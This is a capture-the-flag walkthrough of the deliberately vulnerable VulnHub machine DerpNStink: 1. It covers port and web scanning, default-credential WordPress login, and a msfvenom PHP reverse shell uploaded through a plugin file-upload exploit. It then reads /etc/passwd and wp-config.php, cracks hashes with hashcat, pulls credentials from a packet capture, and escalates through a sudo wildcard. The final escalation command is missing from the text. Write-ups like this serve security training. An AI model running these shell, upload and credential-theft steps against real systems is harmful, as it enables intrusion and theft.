CTF Walkthrough - DerpNStink: 1
Information
- Difficulty: ★★☆☆☆
- Fun: ★★★☆☆
- URL: Vulnhub
- Author: Bryan Smith
- Goal: Get 4 flags
Intro
Apparently, Mr. Derp and Uncle Stinky are starting a company, and they decided to set their systems by themselves… Which maybe was not the greatest idea.
DerpNStink: 1 is a beginner vulnerable CTF-type machine. The goal is finding 4 flags containing a non-important hash. Let’s go!
Walkthrough
Identification and Enumeration
As always, the first thing to do is identify the target IP. Luckily it answers
to ping requests, so a simple fping will make it:
[email protected]:~# fping -aqg 192.168.10.0/24
[...]
192.168.10.167
After some seconds, fping spits a handful of IPs. The only unknown address in
that list is 192.168.10.167, which should be my new guest, and my target IP.
Then, nmap is used to get all of the information about the services running
in the machine:
nmap -sT -p- -A -vvv -oA nmap 192.168.10.167
[...]
PORT STATE SERVICE REASON VERSION
21/tcp open ftp syn-ack vsftpd 3.0.2
22/tcp open ssh syn-ack OpenSSH 6.6.1p1 Ubuntu 2ubuntu2.8 (Ubuntu Linux; protocol 2.0)
80/tcp open http syn-ack Apache httpd 2.4.7 ((Ubuntu))
| http-robots.txt: 2 disallowed entries
|_/php/ /temporary/
|_http-server-header: Apache/2.4.7 (Ubuntu)
|_http-title: DeRPnStiNK
Only 3 services: FTP, SSH, and HTTP.
Flag 1
Let’s explore HTTP first. The first thing we find is the picture of Mr. Derp and Uncle Stinky, right there in the index of their website:
If we inspect the HTML code, we find two interesting things. The first one
is… A flag! At the very bottom of the code, we find our first flag:
flag1(52E37291AEDF6A46D7D0BB8A6312F4F9F1AA4975C248C3F0E008CBA09D6E9166).
Flag 2
The second interesting thing we find is one of the HTML headers:
<script type="text/info" src="/webnotes/info.txt"></script>
We can find some information on the path we just found, /webnotes/info.txt:
<-- @stinky, make sure to update your hosts file with local dns so the new
derpnstink blog can be reached before it goes live -->
So it seems we need to add an entry to our /etc/hosts file so some blog can
work properly… If we navigate to the root of that same folder, /webnotes/,
we actually find a lot more information:
[...]
[[email protected]: /var/www/html/php]~$ ping derpnstink.local
PING derpnstink.local (127.0.0.1) 56(84) bytes of data.
64 bytes from localhost (127.0.0.1): icmp_seq=1 ttl=64 time=0.015 ms
64 bytes from localhost (127.0.0.1): icmp_seq=2 ttl=64 time=0.018 ms
[...]
We just found the entry we need to add to our /etc/hosts file:
derpnstink.local. Also, as a bonus, we just found a system user: stinky.
We’ll make note of it.
After adding the host, we launch a dirb scan:
[email protected]:~# dirb 'http://192.168.10.167'
-----------------
DIRB v2.22
By The Dark Raver
-----------------
[... I'll leave only useful information ...]
---- Scanning URL: http://192.168.10.167/ ----
+ http://192.168.10.167/robots.txt (CODE:200|SIZE:53)
+ http://192.168.10.167/temporary/index.html (CODE:200|SIZE:12)
+ http://192.168.10.167/php/info.php (CODE:200|SIZE:0)
==> DIRECTORY: http://192.168.10.167/php/phpmyadmin/
==> DIRECTORY: http://192.168.10.167/weblog/
[...]
Among all the files dirb found, there are some of them with relevance. The
first of them, /robots.txt, doesn’t add additional information, as it only
contains folders /php/ and /temporary/, both of which dirb already found.
The file /temporary/index.html doesn’t hold any useful information… But it
cheer us to try harder! Then, we find two interesting resources:
/php/phpmyadmin/ and /weblog/.
We’ll remember the existence of a PHPMyAdmin installation, in case it’s useful in the future. For now, let’s see what’s that blog Mr. Derp was talking about:
It’s a WordPress installation. Of course, we try to login at /weblog/wp-admin
with our h4x0r credentials, admin:admin…
Success! However, this “admin” user is not the actual administrator of WordPress, and it lacks most administration permissions… Apparently, the only things this user can manage are the Slideshows. Maybe that’s enough?
Let’s see if wpscan give us some extra information:
[email protected]:~# wpscan --url 'http://derpnstink.local/weblog/'
[...]
[+] Name: slideshow-gallery - v1.4.6
| Last updated: 2017-07-17T09:36:00.000Z
| Location: http://derpnstink.local/weblog/wp-content/plugins/slideshow-gallery/
| Readme: http://derpnstink.local/weblog/wp-content/plugins/slideshow-gallery/readme.txt
[!] The version is out of date, the latest version is 1.6.7.1
[!] Title: Slideshow Gallery < 1.4.7 Arbitrary File Upload
Reference: https://wpvulndb.com/vulnerabilities/7532
Reference: http://seclists.org/bugtraq/2014/Sep/1
Reference: http://packetstormsecurity.com/files/131526/
Reference: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2014-5460
Reference: https://www.rapid7.com/db/modules/exploit/unix/webapp/wp_slideshowgallery_upload
Reference: https://www.exploit-db.com/exploits/34681/
Reference: https://www.exploit-db.com/exploits/34514/
[i] Fixed in: 1.4.7
[...]
It seems that the Slideshow Gallery plugin has a vulnerability we can use to
upload arbitrary files to the server. We’ll make use of this vulnerability with
the help of msfvenom. A PHP reverse shell will be generated…
[email protected]:~/boot2root/derpnstink# msfvenom -p php/reverse_php LHOST=192.168.10.182 LPORT=4444 -o immashell.php
No platform was selected, choosing Msf::Module::Platform::PHP from the payload
No Arch selected, selecting Arch: php from the payload
No encoder or badchars specified, outputting raw payload
Payload size: 3029 bytes
Saved as: immashell.php
And then, uploaded using a public exploit:
[email protected]:~/boot2root/derpnstink# python wp_gallery_slideshow_146_suv.py -t http://derpnstink.local/weblog -u admin -p admin -f immashell.php
[...]
W0rdpr3ss Sl1d3sh04w G4ll3ry 1.4.6 Sh3ll Upl04d Vuln.
[+] Username & password ACCEPTED!
[!] Shell Uploaded!
[+] Check url:
http://derpnstink.local/weblog/wp-content/uploads/slideshow-gallery/immashell.php
(lowercase!!!!)
We set up a listener, open the URL, and…
Voilà! We have a limited shell. First of all, let’s see the users in this machine:
$ cat /etc/passwd
[...]
stinky:x:1001:1001:Uncle Stinky,,,:/home/stinky:/bin/bash
mrderp:x:1000:1000:Mr. Derp,,,:/home/mrderp:/bin/bash
We remember stinky from the notes before, and we can now add mrderp to our
list. Then, we’ll use the shell to check the
/var/www/html/weblog/wp-config.php file, looking for the database login
information:
[...]
/** MySQL database username */
define('DB_USER', 'root');
/** MySQL database password */
define('DB_PASSWORD', 'mysql');
/** MySQL hostname */
define('DB_HOST', 'localhost');
[...]
Now we can use that PHPMyAdmin we found earlier, with credentials root:mysql.
Of course, these credentials are weak enough to break them using a tiny
dictionary, instead of getting a shell and recover them from the
wp-config.php file. However, that probably wasn’t the way the author designed
the machine.
We found the WordPress credentials. As expected, the “admin” user was not the real admin of the CMS, as there is another user:
unclestinky $P$BW6NTkFvboVVCHU2R9qmNai1WfHSC41
admin $P$BgnU3VLAv.RWd3rdrkfVIuQr6mFvpd/
The same username is found in the mysql database, user table:
unclestinky *9B776AFB479B31E8047026F1185E952DD1E530CB
hashcat to the rescue!
9b776afb479b31e8047026f1185e952dd1e530cb:wedgie57
$P$BW6NTkFvboVVCHU2R9qmNai1WfHSC41:wedgie57
Both the database hash (MySQL4.1/MySQL5, hashcat mode 300) and the WordPress
hash (WordPress MD5, hashcat mode 400) give the same password: wedgie57.
We can now use these credentials to login into WordPress and get… The second
flag,
flag2(a7d355b26bda6bf1196ccffead0b2cf2b81f0a9de5b4876b44407f1dc07e51e6)!
Flag 3
Of course, we can also try these credentials on the other services of the
machine. However, the file /etc/passwd didn’t contain a unclestinky user.
Instead, the user was named stinky. Let’s try with that login… SSH accepts
only publickey login for that user, so all we have left is FTP.
The file files/ssh/ssh/ssh/ssh/ssh/ssh/ssh/key.txt (yeah, really!) is a RSA
private key. We can use it to login into the system as the stinky user!
It’s worth noting that the stinky:wedgie57 login can also be used from the
www-data shell we got, by executing su - stinky, and we wouldn’t need to
recover the SSH key using FTP. However, the author probably intended the
progression to pass through the FTP service.
Once connected though SSH, we can access to the 3rd flag, in
Desktop/flag.txt:
flag3(07f62b021771d3cf67e2e1faf18769cc5e5c119ad7d4d1847a11e11d6d5a7ecb).
Flag 4
After that, we can see that Mr. Derp had some troubles with WordPress, based on
the chat log found on ftp/files/network-logs/derpissues.txt. They even
captured the network traffic while doing the “repairs”. Actually, the capture
file derpissues.pcap, is found in the Documents folder! Let’s download it
and analyze it with Wireshark.
Applying a Wireshark filter to only show HTTP POST packets
(http.request.method==POST), we quickly identify the new user creation,
mrderp, and its password, derpderpderpderpderpderpderp:
We can use these credentials to login as Mr. Derp, which has some sudo
permissions:
[email protected]:~$ sudo -l
Matching Defaults entries for mrderp on DeRPnStiNK:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin
User mrderp may run the following commands on DeRPnStiNK:
(ALL) /home/mrderp/binaries/derpy*
So, mrderp can use sudo to execute any file in the /home/mrderp/binaries
folder, with name starting by derpy. And this user can actually write on the
binaries folder, so it’s as simple as:
And we got the 4th and final flag,
flag4(49dca65f362fee401292ed7ada96f96295eab1e589c52e4e66bf4aedda715fdd)!
Final words
Another easy but fun machine, with several different vulnerabilities to exploit. Nothing too original, but a nice machine.
All done here, have a nice day!